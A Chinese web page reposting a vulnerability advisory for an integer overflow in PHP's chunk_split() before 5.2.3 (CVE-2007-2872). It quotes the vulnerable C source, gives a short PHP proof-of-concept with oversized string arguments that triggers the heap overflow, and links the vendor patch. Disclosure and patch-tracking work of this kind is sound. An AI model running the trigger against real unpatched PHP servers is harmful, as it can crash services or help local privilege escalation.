当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP5.2下chunk_split()函数整数溢出漏洞 分析

PHP
UTF8编码内的繁简转换的PHP类
php strlen mb_strlen计算中英文混排字符串长度
php str_pad 函数用法简介
php at(@)符号的用法简介
php 小乘法表实现代码
PHP源码之 ext/mysql扩展部分
php与php MySQL 之间的关系
PHP form 表单传参明细研究
PHP 配置文件中open_basedir选项作用
php PDO中文乱码解决办法
PHP PDO函数库(PDO Functions)
php 验证码制作(网树注释思想)
PHP UTF8编码内的繁简转换类
一个PHP数组应该有多大的分析
PHP file_get_contents 函数超时的几种解决方法
PHP 变量定义和变量替换的方法
PHP 中文乱码解决办法总结分析
PHP 文章中的远程图片采集到本地的代码
PHP 上传文件的方法(类)
php 获得汉字拼音首字母的函数

PHP5.2下chunk_split()函数整数溢出漏洞 分析


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 200 ::
收藏到网摘: n/a

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP是一种流行的WEB服务器端编程语言。
PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。
PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }
<*来源:Gerhard Wagner
链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php.net/downloads.php#v5
文章来自: 绿盟科技